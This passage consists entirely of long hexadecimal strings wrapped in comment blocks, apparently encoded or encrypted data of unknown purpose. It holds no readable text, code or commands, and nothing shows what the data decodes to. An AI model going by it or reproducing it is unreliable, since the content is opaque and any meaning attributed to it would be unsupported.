0fb5ff00ebccea58ab4c56c99fb7b075f3aaec2f5b024ede176e81110816635138ee1687f71be29cb585a64fcc15a13945b4c612530f1df611ddc2606536d077d57730e400d788f7f1bf3354da08ec9b3e10aebaa52fe00df2785c7c83f01c24f3cdeb0c4324843f6f2d8d8548991ede34346de6515302a30b343a2511ff1ba22a6ef464c5edf956a4eed3544d78046c5923a9edc2f484ed12f66e94e7b4a07eba67de08641b148ac891949951d309782ab05a3cfc6f107df186f7d722aa8fdacf953904313e02e65addb0bdbf45349af636e78116ef7d2d58775a3aae891d3a2a7a6285fe6b52a041e427b922584601e52243f8db9779474ddf00fd57347e6929884513674fef8e04d6eb047cfa289e237c9cf7623baf53e90046e677f24d4e920d0bf82684b68397ead0b97a352bf0ff7eb627160062aa1597fa536491046577e38014512c26493d045f7cb1c82bc45f0cdd3bfa426e0f916e5751cdb7cac15b4258f9564a87d3de44e99b3b1e7b99a1df00f3e2b6308e8caf57692be0d780e447127d11ab89f95d563bb484d4f95c818e37018d7b7d877dd13b56ca26d7f7ef4166e560bfe7e0761b5689417587ad152146bdc19c0e99f3602a944f255a074118d8cb83920184e8e0ea0a9462d62a5cf852accc6af3ae9c768e82a592d3179484056fb991564084c901c55bff677ef59f0ec42e6e06b0702848e2074ebd281d8235f4dd3064fd178cdf63bd6d594911fc3888fe4a05e24920ae85930768a93a6062c6153b1863fa3a30816e33662e44dd5085a0785*/
/*00efac3085dc95267de21ceec9022960f58406a53cd559bf070216d598ff4e9cab30159be4c1805443714512b992008c009b4dd031ec80f5b114fa46ca54e7b99c41c490340bd78e6112a845d762166cfe72ef17be78deb8c756005982c1cc6246a2ae88c61f853dd214eaf760d5c2c0712b3d802702236af947bf0a3e3af17f5a9943150770ce6fcc13cf73963220115639b3d271c79e7ef5ae4d6b88d39c439fb9954e7f252bce8176ca6529647519218f3671658611044663b3a78357970d2827a990b65da4487ffccb6cb493641253239056a5f11e1e38a78de0bf1fe6c4645787d1775014a035c58cb16f4062db952bcad1862fc2f22992ac3541e2fb10fb8c9744a3a1dc6a02bb30a9783ac56ef078e0e294a66dc209784a5bad501d903e66412aea419e7026eaacfb5ff940ea091d9cf8c3fc956dce8cc75925b72c8228bc1e46a2388a77bafa63287ee9d521e846bbe1246f220408893610cfd71b33b50123cff7613999c0f384a9ec5827f09efc9d618ddc5681eacfb4a889b68eb52c23f9c68ee12fcfde64062f34671724b8f3674f004bd68c537d0a01803b5c1aab7977ab6f190a413ae0813db5ad3ad629541cb3621fd898a339646d9e5cb01365edc3687ebc405437e824e5b9abd7682a9917dff87d6db04e539497a15f44f4bdb338b05907a5470fded1eb9cbd25811404ec9de94a5bb4c34186ecd2427c1e19d4fdf7f9fa07b32e58cb7976a7227a9c2066559021b786c1b87de8d0d639f2cf28c3f3bdc8e01a2fe46b6f0afe43c3a05e015c232f6db017908d128e6655d0df0dd554ef173f6637b1277ec35c54be1a4fa5cc2990a036f8b126e8989f1a19bc9e26bedf6a04d98712760daec0017ca5ff101a5dc40c5acfcd91a571b7a54e19b61e4ae97ae769e986434fc1e8085ec6990a9216dc3964de447fbc14530772ecaa81992f0c096cdfafb7433d6a80aca00761db6451e59a5a30db994137ddfc8711f078891746b0b03b9bc54a365fb4426b771494dee1f2419ea9477b307529e1d1310457a3ff3e4706a9215293a9674ffa17c3d10b8bc2f996ab70a6798532b18638cca4a3b83fcd463184f58aafcf864eb784b503f6764445229293d2ca84ca75f0b7ae55f6734dd86ab877f1137da30d1fc05badc75096a035137d17b323d6abd1724d97f09d89a74a91796680ad8289477d43b49ae8d3ee60f590cd47b066a6a6bdb72ac30900b6d72b2b435bbde48623276e70608899f30bcff75f9538b77fae8899051aab9f20562b5ee2505b19a4625b4a88998b9e41e08ebc90cf2abacd597cfc0b65f269c24ca5f22ba0ce9da868159c20fe01f579d8f0b7496bc3ac3a6b9e8acaa2b410a6a9fd391299ed8ea75de0e678edb6cde05aa13bbdb6a2d463e552fb6935b434336087ebf41fa1d3adee6666e468cd32508dad77bce6825a066a548bc0d964ea8bae73183d1da3bcfb5cfe25ae38b5fb0d77fcc174bf64a2011a948695bd0af701518fcf49b26ec1f5171ee2efa339dd100a148593bfdd193470aaaf096c9899288e2b2f35f484a14bde3630754ad83a541503a7a6d27fdfcf0dff15048622a0044b66a88626c4d5250b33b91c16352b0f9afdc3d2232fe6c5dbdfddee74cf0de7e915616aff566e886b37935c1b73382574d426266889daabda9f9d444d7ea2b0fab8588a8ad9d29a2644c6fe82b5f547b8d798537f934fd32f14e9b2f429b050dfaeab1565b0840e62e60fbe175ba681976b0c861f04d11838c2dafd31b2eba32bfbb8b14567d5d375a3638009aa96ad38bc7273a49905040350a277e8033cacb57a9453791bb558921fc9bef18dde4cd51a71503e3040d5e532734d8af9d460af7f9efa4204dc13367153f072d976f26ead8c56e92a94a0a8fe08082671a9ddfe3819ea3db098399d997e93a134dba9103b0326fa32447b3fb354157f7b617b5ac2f374909c7b78c13c79cfde3b876cfe38bbc742d3ae07abf966ea631e2258a3aa46804310aa1eb623091966f3399e78ea9e243ec172c832db17ea85e9c84bf2ed95759a2594a1ee93129c93c555afcb14d3cdd33073c690a4bb5d9aa56a9ce65bee6a05581453ba07edfbb69a19c78e6d4ca14584a2e699aca0a246cbce4f26c9ed9f1e32af2cbaf8558fdbf017f9d926af513b99b9210a57135528a89c59e5f14bdf41a4fe4fd1f46387585a40894a2696a5f11f260f2795d5777076abbd8772384cdd586ee1d251e21d3d44d46d000ec5215a8d0ca1c1887203889a319aeec82074007a6ad64334bafd5070fd5e269b0e1c5e0e1311c02e36ddea73ae33341d55c0b82f25e667400361364569c847f7d5a401758c7defbc875dcb75494c07949ea41027d2e540733ef3dd72ab1a08230ffb06aafa875e707e48f2918a6227fec44f85bdc02d54f6e29674f5f206a65c1898f383d9ad8834566d5df10ae8d7b5eb35991da1c28f911e6f7fa79bff7167c3c442cb38dbf0d4b75febfe9e730f98b1db53816f465ac2337d1d43bc1de5a943fbd69e5c64252e7b4b1ece2236313db19596fddcf4fffb4d5f188db98f019b0ea487cbf4ec4b8315131b4555a0ee1f6a768fadf2db920653bb92005e438e3887ae51185b1e6f96ca47564fde196224e13333b0fb2aeaf8403a0b81f49bb293dba7e469a9b8118187f2afd7309546a2b8f12a6d1dd028d52517c2cf14d785a8e8ae48f9b8f6f8cd4f18778c2859705062e8cf5a001ad25efdeace4ef77d2f5f773e80be05c823c682ab60864444b7fde79f6d88ad6c45acfc81ab96268d539fc005fea9ab72cd8a2b2b6feb99664d9cf8cbd8e5*/
/*6247befcfdc5fcef69ffb9270e03684244aaaf157f9bbd150350a1dbc3fd67fa5c92be5bac0f5f4438be2f38e3904fd5ac8620f0ba31593b4b6e1c878a559ea3571481f2e1347c5ce475a9c3315e2ee7c9847e391c9044c719eff6212d1ce853d17194e716ba6e983c988fa2224093cc80b7ec3f5c0acd60ee9483162dd8582fed4bb6df981857977bb3dca83d7041fd359cfb99c3da975e2cbd9f77464f71cc968bbc50f4a712f9efd6768ce0249b67cc00141002c8fb0ec641c12f55f23335d793d8bd97cc76cab05bacd4c06f648736fa001f29030614b2b4d9dccf33debebb6cae973797064e1e8c941b026512ba65b4c4cdac955a68352a3417ec7e27b0eb2a0ec26aa738a10ca63ef6568d86d689eba12454d06d18cec997f6e7c0701e62fcdb859a89ed4ee960d5ac728d7638e6932e935f133c7088994d25cd02ca49b8bf947083fbf4c21adad00ea8194012cf3c73165c4d9b715edf6c174769a6a4f0c63ba6bf476436d5fd4489d6b16d1932f1f4d60ed3bf3272279fddd60bbbf4e6741b0c8d1cb364cf5ce2d3eaf9b5a938c0afa959362a6481feaef3a89b72c2fb46c1d887aa6f55469639429fe7c173da3817e5696d51eb97aa7a7941dc1e38f1f7168f2b99b7f512f4b0c08d864e09a7fb42744b628866de1b4644ff467ee89021b886ff4eece0031122ff6d28d323153ca1cec55bfdc604c905fe8dc4d4269810ca8223a773821f8d6a3bf5372cfa98f6f07d0654f7ba04fa22efd409a6bce8f716f2ec310356249a8a471f2dbd5d3580dd8c21f59764dc0e0abf5a8081498c9c466e0027eee9b491eb1e2ad2fca0d2d21beb0db2e1d80eff10c80b5d42b054c0ee943f6f6b3908ef45b7a163dcb76bedf09bacb9eee028cdbb7f481b14ad87a609abac67629c0d3b10c5e77171d0d1c415dc643ac57ec682b6e1c824438a85c49274348b2d6b951d530a16ff7dfa4881445791c1866f4b8e88466c50943da3c108858f0e721960a62205a5199857385780737959da350b00ae890e281b4b1eae0315e293d08f1529f86e88955a689864e60829343052cc2cd430c5ba7ec0f2d73bca30ecb3d429d9131cdae513e58b112108b7236d16ec50255a242f5ebefd611fd45bfcd6ee7a1455f252ec269b9651fe358a41956b3ea5092d36a695c950db649e83af21453fd4e31f31459fe36482a526ea9ba30ce0692175a3124e0896b6a46237aa634ad403e0a02aa2280fc749c4e022b3d7364fb3092d46067eca573fb44a79863871908686820c73f8071149d386685d25265d52fb9a826aa101f9e4756d10fc474861a1d3e0a2e3c489009822e58ec404b0cf6cbe6dcfc6b5a0d2ea64d5fc721743faa6af2d7d70f48e86bfd3378667fc57ca50e604dd09a483fec36f1ea9c1cbbed7b7ba1c7d41e0e4d67832915a713f6d9044f7edb79f7d1147b54cbeb43928f9c832b39401a4900fb423aa821c46244c700fcb011ec15c4848b20bc626b97db15b48ec2d2d6617b029e1a3ea9095166d29f57b9d7fd8e7d3a3ab2f23ad4fa8c24126c63a05b4a56d0937359c8098619ea408b33020a1bd18441e2e4e1b069fd543e1e35dc316389ecfaaddecfc9bab1b107ae04dfa49f171325e1487dbde253f1208d327920d18deb95c31e3079ac312aa826eaecd0050c2bee8f6624f6a0a86299b6f74ac91733ebd1e6ff437763e84e622a2cedb4be0026676bc3afaea100cbee04f36f25b2c2b386a942d8c5aa9563896734edcce7e13b4c9bc7bb4032c82e33b70eb6d0890b660423689e89728270429fa44af8ec0bb02e5089b10aa51116f4dae5ce53aca256a701a0cb8df323d515c0aba88c221e3f2798d30e8391f91c9c8370a9582f03af5fef1c837e8fd35508c64d6e88960f1ebd81514aa09906bb82301cff555e61fdb9e30dea72eb1cbed10e7c9b93e136d78a7fbabaff60f942bb53f30299820a3cfb3bb7938c7440fa2889c9c9bb9c2faf511093bce0537583ac2d732c3b0f391b33f96a3021cbaa76668f943dd0b743944188ec22de8c9d1136f66923a8f41c6b71c967a79dbb102c6586f7afc2255d23318067fcb70cb598455ad485962f9d8e1e8e5b14fa96832cae3c4d7809dee05cd39867cc3811c52095f8bb483f4bdf38ad9dd9968cc84e4a130236c99a31ddbf2ef6cc4b2bce36edcdce667e2d8cf7b79a3dcb44b2a171c3989a144f9788441aca9cf7f50604f739ca7ef1717197e3ae3b6940ce6cc77d3c5b92bf3dda893ff8bb32bfeea919c31639880ce96e7a55f84a0a934e989f2a529beea03c97e1ac275a9c5cb16d73e64d7c9cfe2743b2c65bf3dc660d038dbfbf962616e2effd0e899400c3ba64c2886f09da571bfd04e590240402054462b1486e15901fed1a30f379ca1da7e8ee75aa8730d4f9e19132249a0f99287cfcdad8f403108038fb2cb76d0963ad64b067feba37b7c42b45cbbbec90de25ed839af8279c690a9aa0a2831751449ebeef5f04a22945eff8424e042300024cec3eaaddb17667bea9e176a53005c67b7fee9f25422dbccd28e9bd3b4b4eaa084dbd8cd4170bffc4dcafa056fb91d3f19d4894ed12f4818911fe930c9981c67900c5bf097faa623d8663c7a1095a74422a25b7c342408338620332ee569cf3e07dfc9bf3a60841b01333658371b3faa1227de13fba85e6b9f24e8e1242d950b325494b3b3cbfca7aaa0aef67d7087206a37e081d5a16fe7f057b3e768d926a6f77f0fe76db1334bcdd76c6a537a665621b5dff07c26d9386fdbcb6d1631f6c2123e68a1b3b2c4ee6570fe705693d48715ad300ec4209b2ba3f6b612*/
/*214c5045ae788aba8ac291f1d08fff90cad3b85de098a49005d64071707c32c2a4b90bcdb33fb4a3d5173e8b5be23a08a064bfd6387d61d2218b8a439f23600e5c33b00f3251e6a2a8671d386f57899defe65489e9eb347e486e0cc86b56ac8e0ed5a81fa35f1c873f54ce2a7b74ec262b59eb44fc279d716bc7be7b9893236c6a673cf478e9c5398d8eedbe112be53057868dee1ebea633d9e422cbf2d14f3e9dfaca884fa09e973c0dc51a72ef9db2a57dc00e9d994050f140cb6bf0cd36d49dd113fd59bddae91db7068197bd515325b2016d26f0baaa3a98e2e794e33f79180d1ef097932732c2e9bbb76c1c06df2d92fbc7debcb94ca6c83f044795a8befa3df22805c589ebb6bc3ceaab97cc5aa949daf6e77db3863b2ba016b62687dce974d9d3a071546c7b05c1942abb4873a1fe2566da06de90e86bf7ff6e750da6e12032169ae14f7c0b6ba549e9bacf8f75689d5c71a3b34f22ee56547994bf7eed908d396865003e2bfe6235360aced084bef9765a1a380363890f63a4d523c63e978a002bc986992f6b37f3eafc4c820fe8afafa2e90a56620eec355c82af675b41944e8e7896cd7b1bd6e016c0a85ec3775b2c01c4b8ec7164b93f455c16b5f6e7224b0f360c5c76f1361426434009c8cfc9b81f5c221f42ce04e522e682e1107d89fc346fc75736d3f910bbefad05e19ff158c8a5682ad3a643bfc981afaeea956d5609c92faa02dc9f6e69a2e358d7f83476222927e9d8bfea367e1b1597099084e958ce1161289108f491d62ae1c85184d50158e9a64a240c09f3ba1f4f8f21de3fb5c4e7abb7d54af60166f37f1d7fdad9c379a1a6282cc551dcc1610ce8e9bb5d35e7b018328139d837c919cbf6cfed0d37f93067efe3b97973c34baeed1dffe2fc4f9ba0efc899264d8b6d90e37de1db7b8a886ae461d30c057c522c55a772dde48115c029f828228c1400e437f11f9630e6f6d6d781f9d19b8c00f5b53ff6494aeb67ae018cb2ef09582a7dc7b3933820b7acb11d7967fd5f1de68a4849d7852339efb94112209a351433382ec0671a0107ab08332bd7aa2bf2cfe865fe93f6e68cf3577ec1afa32ce1f97a3ef9e61c6738d593e63ea46a7b1608b63c35ea7a435d1ffffd00bcd4bfc5ee441291e98c961cfa6505fc572a6bc1d039c89dffaeb071067682c77fb868e6d49e915a42ce963c4080821726c80011e91b6e0ab7d0398db9e2e1b5c4afd1efcee877d0de103b0d7feb7ca8c583b564b2af7e0f820ea9b924ff630526164e6c6505c6cd85fa1185c59ef5af83ee5ab6f8a288abd29e210bb2817039c3fd43e5f29fac68ecb1c697ede99886d9f3b5689b1445d02df1d742a007a3172a9176320a45f27e528a7280b336d291774cc462a52a2cba6fdd109ddc93a612b4c50c6d7cccb915c53e7e3de928616da8eef91b8d593d0cfc26b0f99608fa425d776fb622cf45cb1653501b3c31cd577fdf88c182a7ffb15db5e99ba047811f353ee73c6c89f6d28a133909716fa4f0e86c1c02c8db6ae90597128c498cd70235cb75d479c42ec8289130f07487f2f51b5f2281d7b8f544597b50b1369c8afcfa1c46d885a02303c3af650ebc6d7d0728bd906cf4a0ba7423b684272954f4226b2bd7533d706ae1037b34dfc1cb3fd5856916871e186350995657eac56d04c8187fb6da6622f6a8f2440890505763e1af70b1bfdbc44dbb0a3d75b3088f4b924b6b251a00d99091dcb8d45042ef2614fe9c99ec317d77b14a71aa363dfd7a1a5df693125983f65c7bb7b5bd6f75ffdf461ec2fbbd2c69b0af3d061e52c37248b35e30c3ea355cd67cce4cd32d1dc0c34bc1ebf7e5d3c0066d733ad9fdf4863b9d7b21eeb8c035cada5fd6a1a8eaa9304f0d45ee0cc59270c782e41bc96ab4c801e8a34f9725364dde63d44a80ddc2ab62f74263b43179031a934c5642efbab5948dd91195766a1ab612d2d82f858ba5f2ee45314049f2e6268236269c3093ecc580a01ba095453a77fea174a2862eac5df7223edffdcca7e39b4b4ba9155400eb3eda9c22076c486f008b30b0150d35a8a0fc4ce089692f0600799005352d221da1c6b3185f7f403dc0dc6620a7334b0a56dee43544e57ab91778cca62704fb141908800997909315cd3cee94b60c30e4a11cb59c7e1f1254cfa3cd4db429eac0de6f16df23c5c1e7e7bda58605741db547985c2c18976330c73d9157f5f5a56de3d69fc5ec951f8e645d20bdd436ff03cf3f4e6908dbcf83586cf099b72a6fbb0b20c00ce5aef5c91571d63cf26e15dbd5e2e9b788fc6ed6d931022bbca4f3db15fef9d81d4846adf5407c658a4966cc000ae96fb6087ccbd32ea6cc4464b58f2fa7e84e59b707d7adb82f107f08d102d964c273091f560eaeb7e750a429595b73d8dcb4e03878611bd89be2ecb7eb72daa3d7376e4f52a99cdb68c20445d1110ca6878be126bded04d2ce750d50c2b24d608bfd6c47a9a055b61bf5ed4eafe9c2a4dfe26b4b9bef0558e7c629a101bb3910512b295cc299be328bc6cef5a35c4d89c008e4c66cad3bd51dd681061c798c5d3ef8d5fc95177402a51a3d3cd4d196632226bd348ddadaa511a4b9de18b4e88fdcf869c6ea46dcccf204589b4ebd1be0f79967c0e9e5decf4bc0a3fa0a9148a22d76bc0a90a61fdaa5b9f0804e592eec4b21c7d927cf0105bbfab580ff52b1774891f94a6546863d0e90f516f92480f3a66a922798806cf520ee809ef924eeadff9d17ba45f895b9b24f31361eaeca62ba2919edfe11447c61f91183283ab2ad19b6f1d55fddc9970ee7f33539594e8dcfee17*/
/*85d59c8886b3e9f62dfe86e40f359cdf9d26e12f97fc1adcda6e171c24fd0c47bd40d5ebbc407a02aaf3eb69ff5003a86c4e515e4a4529a4955505746396f15ac69dada31d3cdfe87e657826c9f9c68f8d348223d0a1753866bb2a09c69b1a243584bac3923f60c486380b09f5b242925ba9ea4a708fae062ad2a8470f4b73e35338592e12fec7a251779ff26578f8a1451519c9d4caed52e90a396ad25e043dbaf914e6d766c903255087a50c4df1ec6b496e1396ae21e12ba5be43b343965907ead944765eb8565d4375d9aac6721a66cc821ed3405ae4f0f16c3dbb46875ad137e9ad46f6c5dc39fe45ed25410e3090b4c633d180e60207bdb84800932317352497f1c9b1be226acfd34f6101dfdbc14050f8aeeeafd71034972ada685ca16db952867f1cd94caf7641fff591f496902e7e0e8b4b481ad8309b8be18a110b58b572f427749fc5faf949aa8c98257251e1ae26f4abef561430081560f2f27e33afe05f24edf8a7188f3111482c87c15565a55a6e17f69b12036484659ddad81851f0c4be7676a203afa031c44bfcf3638ccac55410e442f351c60bdba6d74a654c5aee4653d81c71c436aba8f386a6bdc048b9c79fa8953f2c6428c7d6fab87ee16c5a66f23d8a4538d8a78f0cb09b5c789fc17ea631942959b4ab172c5643aaf798fad3761e45d3bb61f3c46817bbf95a7b6d56d1c1800248778ae46f3b2d7fca7cdf6fa4b0064ee6853b59df3e65b63cde557431e7e21b8375962d5dc474b77ebd6bdb96b427a5cea559aff14548ef611ce96792215b342698998e4585ea90eba5e9a831c342ae7579060a3f55b9e0c66a18734fafb800b1fa10dca26eaa4b1f31ab25655a208e0003bb481c51433bb0600964848747f45ff77eccc879edf1fa9015c43f3d29101974b42ea70369157fc66b630161137b05dc03d84d94da0c13e86a01034c79bc872ab2c6e061c5e332ad91084e326d4d502f1c037ffd4a204c393ee8aedbf8dd956c84be0289f9a55fdbe47f20263ffe51b3d4cf10e75dce747242fc3bdbf5546e5ae0f606efb214cfa5fdb14f8a87b4199558884c8389e2bb8646ba4536c0f38b42861da0b8586bf989da305bab653a921957ade7ce72f7b37e7e14c3399291048737582cbc60e795d9edf9a40281a99a4052238e44733f71b9f76d723371ddb052a6c8514997ce6ccb2be53534fd57fdb4d3475a4d09dda3c8bc4955269197a250160bbba75afa15d1d191542c6201f53a4ef865274724168d358c7fecfbb4e9104096c4ef6db5b3fc2c773b3f8947f5166d00c7b40218dae85468c2cee10f8f9b4362a38e7765c2bbc371a5d3a6231c04f9df900bad6b37d104096ae0180b4a41753c30e498d0977a52ed675459843ea66b8342835ad3d2030ecd9e3290f2c20ced39ebc39ce4d05711aade2669945961807e45375953a2f15c4820cfeb10e730cb27c99ae283239531258efd8b0eb4ae3142f049e12b45ab159fae27962aaf99b9cc50c2e22c8480a5600d9e8e3ac738791c02d8a5ed8d8e1c6604c61972028c715490746c74fe2f3196ec6830fae37e2fadcc30bcd99c5e36ce901a0fbe9678ef070694bfc1172a546c9ddf4a395ee28125131e0eec28740072b02540b4d7f3f211b2cdb61988dba06f82befbabcb9f6dfd1e9812a2b8566d6801f5fd83d2500101435108a0584afea44d7c6025e1a31cd4a7d2938710ab8a149995da9674b862c6c4a42b0a625950d914ad12c26f28c75f90e061eddaa50bf56840a119059012029742b6eb70daab5b6c6bbfeb376ae07860b7a0ff638ccb69757d3dc986635be75d2719a51f871968f8c3af9409192e614f6287ee1d6d957a0e63812a3d73ed7fd29b5c8d0881cdc1a0c766531ce3c987a0dd37e0cf2a2c1685e24aacccd418d8ebfbbd0f50ff811e974e038a608fcfdb52fb32cc1605fb66d218371b8d21e92ab63c0e9749c22639e352ae92a3ee378899d9977b09f5ed9984887e1fae37ff5bf7e31e2bc1541b3c932566019238ace2a87aefdd8a4efe2828dd56017de9ed741cfa3848b74206c87c68b654150e96a936598835aebf5bfc284b538c53ffbef1820a45ddf7cbfd374c08a2410c66debad74891955c5f57f8281ebd8ea9ae16e006cbfab03c1c85e88e084fdbe11caf3dd44c594cc6109b69a264f5f26c1b754330614bd5b0353674cd4d08ba048d892d8f14180eddadac11021c92fe7b1d41e592b798473a5c954453ea550e9030bf3f331d46f1afa64748109d3b368fddcbc61c460243487a6964690812d4f293fd41fce4999feeba284efb2826785cfc438a4465b991958c2e62621d385db84ec6c10df88d190461ee901f0a253288416980fce80bffb499647bdcb237289037e0ff7b9ef2609abe27a18af17348073ee3f77c62ddb6ec15134ec57c10cbeb4a0d49219808a375bd14a182d53be19de7fc3fbbdcb7199d139904ed5d987031ff74224fdd5a4d8c4358d5f1b6684ccea40b0cae2766c50df41f0a2f5745ab0bb93d4c085399097144c89bb6abf343d5583251549cf10a646e599beebd9548b0749f2db89620111286a0029fdcb4cedeca1e7a062cddf6901713aff78d3fc0ef24f697e494307f443784916443366a7c98c522c336377debbdb67b30bc5362619405c82b91bc21c2c25ffa7b0d06ffd6f480407083d993568639560377b8edf76c757c9ed699e1b32230570f854b02ac6354e29b0ecc9a8479a8bd1af642db2dacbcaef404f1b7a31dffc462e0b58a47abb2ea6881810865f4f2b106abe5ec5bca01894ac38da47065357f11a294fad20f2f0642265f*/
/*35f797c0af6b51ecdffadf4c56b68a0891ff0b0b217e323af3a8b80c86264d6972eccbd6ea004c21f64c06587ff31b6f96675a7fa23713957a25e26166d1835b5c24a1729139244d4582495d6feaa8995bf41b81f3bcaefed6d2e89c4a0251a85c2c3f0cf2af28a35d57cc1478fdea40d3602739963b73340027647762a89dde6633a9a07900d8c1b4049f7b92bfd2dc13fe3cf1b05329b2994413ee734b3e7a94a50030c1d82d0adf6a6654cf0b2b0f61c977e319b19be33f1cb39ab0d411e0007e59d1a9ba9776331559fbc3064d5b4a5334e9849cc26d5a3fbb8361ea7a238f9cc648a392dd87a1c0447c0aeca5292fbe2ec34ea8694d6530234a08f6ec837f6026d5278503bee50512a91cb3e18eab00dca7001c1f1358e1eb185e4f17e16a8f3b612a1fd4b7dfa7b2a5f22023e5de0a728a3483d8f594f3db7a3a50c790b70e80115a4c5c648b05c7e1ce4cd9f9c3a4d9468ba220cc890b14840af21e4629fca8f7dc642319d7bd486e06b1d0d869ee536312c47a96449d9b81f7122b3275661c676d0d89f2891633db0ababfeb3b3833122516e756c2856cf02030abfad55f3fc0463bbc028716e58d920feea3138bbee0a7ab1df3ed402a9a48111dfa6f4b198d7f71536023f8cb47dac4e8ff23ebe7e9124793583104535eb413ea3a4580b7ce5be7232b39aa3ed582576fcdf4df46102033169dd75cf19abc87afcfa67b4540aec6e8ec3a8b743aad327926f163f670a9d1e3c0fc7c451e9c779d956e3016690ff6c62a8f394813fef5bb74c3aca139591044b3255235033ff5fc63d35653a249f20edf03fef2d82cc4d916930567a6037b50997f1664a3283872df4ea82ce04c57deb71478cb7988f3162c8a9acf3eddc45bb9e5cb0207c6708f29080b14edc5c51ad1d4d8bebebc894286820b24b73d8a590eb86de3f8813c7c178c4a7e2ed86688a343568f9801525d3f94d651233097d0b8b09927312df18578669e354676e4ed4da077296aab8b0c04773725f9e925678df083d88fbf86398d5771b39c46316cfa0cf1cd00b3a23f63eab0c9ed6d78cf93e442a7f4962b2e29fcc650db2a1c390b6fd6365e847016714f5ee215c1504557ba3b4e1cabd8027601aac66f10292519a013ebd3ec4c2b1a3e3dccd4ff4663b03cb8d7e631f2442dbce0fdd85545517942acf6beb6d2da051963f60e0382f68f93610ddfc391a596e6889309b42b7a22772ce1d6bdb7a9fd1e42e8531f01e10ce86dba1fcea423316a7681145cba0711cfaccfad995ff342277f063cc2ad0badcc6e1736fe844eee29404654e0dae74e48d8494a63cd0fd7fb6043de57ff71cb97572785f666b1a3858b4d1fab91bdb491aedd98aadab9e79963755786e63e949ed2e76cc33e1c47db58cb51b66ba60a75a3235b186f59d110c2696267dbe0e0ee38335d5c0728b1476ef97e0c1933addf8952feac6258adbccf9cfc9dfc583d87b93c978a2ec5982b5fb73a0b0bde00dd90b65c2dd8104b259c06a901791df4012aaced8c84832054f47607229e1ce3012ac37d8e02aac34b21274f74a92e322b49edad0e44090656d03101f7188f7e36cb54d2a19815affc5e9adddba5727c1b1238bd9dfec604d17302948ac67de8baa157bc8da4eaf15c0e960b9a0905fc5e8ed210e1ccc8b87823e2070838c1f5a5558910ce1daec517f77faa893aef543ba42ff9da514b5815788977ebf31bd3fdedced4bf44491abab577d9641a3695bf4c2ef0b75f40b60b56621001f7725d2cbb1edfd7981c64b32c86246c3a5ec358045f8af763441af7fa31a632d04a7e621c4bec82ce36d29735cecca3c347849bee0c38e416700b54056553e1d7afecd84251947bfb35c56732be3bbab9a25b0742163f7af89afc8dfe306e312a07b85f1084126d5bc47a946ae8cefdb8e74d2ec2f544e13e515ab146bf4c24c3ca72585a07c8e4b7e79ad6b612e824952ce5cf15b3cdc1f8e2173c0ee4e32b93ab1832caec871e9cd8935416023a267c69798bf6e71a187db2c155a52ce798bd03590f753e89f56ae1d1cbd5a2f85db45eb1d7ea9650c3f8f7da511285b06ce20ea79867e458df97e5a77047da33bc8c0595af20f11452b6813870076a1214a524496de683534dcc728932eb18d2ff2f74a597c6867d8f1ea3feb465a7fe2d810f6f88aa50c8ffd80e6ec003ec833a7ada50a49378db6bd7b53d8c4dfd6ed2f262976abf3a48b6e90f286b90969f6db3a57a796f57f70c44326721c7bbc5b48e415c743ad28bda7a32e7624d70c34e955e82f872856334b7ca3fceb0fe29e45975b1c0c97ca13f3557b115543837da02e26e81310f7d39f8fc48b898feb9efe41bf669f3221631d928fc6f85a9c7cd31a7de81db5b2b24d3ff0014f9332d24ad5290595897c6688888c0e3a995368a143a1f85b6483cf34763cd378cfc8c7032e5fed143943b32a071b0cc35c81dc33a91510a0393d1447b054193334c743740df45ea33ea718d3f5f07eaa23fc265899527551ede5332d51434ecde78f7d967342fd7fec103a53f3f8f3cf09c8c751e077a8a985e3155fed328c3e22e871f03b8a9a67bcb1264bfe9ec86385aa447b983a0d0f719d9f08029914d9b079e698e3a70b9ff1dcf5d8bee95a52fffaaed83e4f8ccdd6fcf33b13a6302f431522b2a732c23b8febc4c145abfc2eb2729aff3edc78838541402fbd4ef49779c0b3072efd626f154f34c6322b327175f6568a8878a434a87f0cdbf3d7e219b41aadd4ac530e915f97f7bb209d7d2ebe500bd5b63bf2ccaecf236f18b504f8965a404ad1d835e63043d4a954c7f*/
/*fb1a348a353d3954ee6514d9f7bf7f9c3e0844812adb74e8d8ec24435721caba257c0c31b3cdeb743ec5d1fb1ca76f8c5b17d82d37b34cd30b18c6e6f3770571db778a27770c04fb5cffa2b4c524501ada695339536ba4e645ef985aac8ba8d27f7f8b30cb6ff18d4c994782984c31085ae1e87dda8f56fb21eda0f04149522f86cf315c5854d6b459f29226a98606fae3e377e92a2fd70786bf689137afa9f6bf19ba121c57f0d6ecc73719cbec28cf0cfcafa37c7bcd04f7a7f90d0b2dd5314d0015e4092e8039f78f02d2b4937fd5389d7d9d1c7fde3c12f44314dce62b95e97dde037bc6b2f71d45705560f1b7f3edc4b79469bd3cf04a877b6ac4e0907539df6964ff670a336caf24b1917f1f3a75ee7c6475b076dbc2e3f9295d69ca401ac9cfdf1e141cc60bc167cbc9097a94e645e85a1fba59ec100fa833e4daf4d45316e4e7525c5578aeefc8a6401799f375bb895f7295826902888c8fc69413c6e843e02c9a66484d198fff1015a7b573f297f14501be18ad7b68b3f22cf747632cf262613d05ffe4d676899c8a2b9b57d2753c45f06b0baa99c5ac46c0b78de1ab4a0cf257e64cae238d59184d6b74b33eaf4a89f5502cff6b2380e30215fedcd4b4eac4e9f48dcf6d15fa2f6b2c949b0ce6158711adb4ba5f92d5bdbf69b4474816c14018872bb5e4a659a548cc017ae6043fcf1e46cb6606d8d81fed9362ab9b2c1687ddc843855db6d23ec832aab277120f6042b5064a57dded8f90b434f1fc07dcee0611c71ec7ed4f6bdc44a66b216e8b462ef18caa4c7c63c59d82239366100c9d437ad805aad23081a55ee3f1fa3daabe600e1c76b7e59dfb68f64f5378d073211ea033e22592c29138519e5b596ede1da2b1bdcc7bf3a082982267e43544d82a8aaca0600c9f9b32c2fdcb1c9beaaf7b35021d62263534c106bb89956d55adedf96fc39e0a19942eff7a2d0d82baf353e723e964b1b7237f95967b87ccc46401d389fdf20933292c74f2793b406b179aceedf85b7fa0ab84a92626a1d11fc896a1a46435822d6f9899cf8790efd0b43248bf17f326cd425971380d28d89a0f95107fa19c0e1e315c067e83d56f90fad5321460d23a79e68618f34aa6fe59af8bf5e1162a08d4325dab1546f3de15f6d6e941a095986b98a5db4edcb0374fc878735f983b14095f85bf6f9bc4d7193d8a260c5f5fa7fc05bdfb34122764a50f0eb9faee7e20eaf342ca205cf1f15097fcbe9a51cc7becbfe9b2289c23d2f0dc9d46751688b92e1d2a18c01a1d3d3243409434eae811771d2968762141373a193e49cc7d7434eb8fe00d0c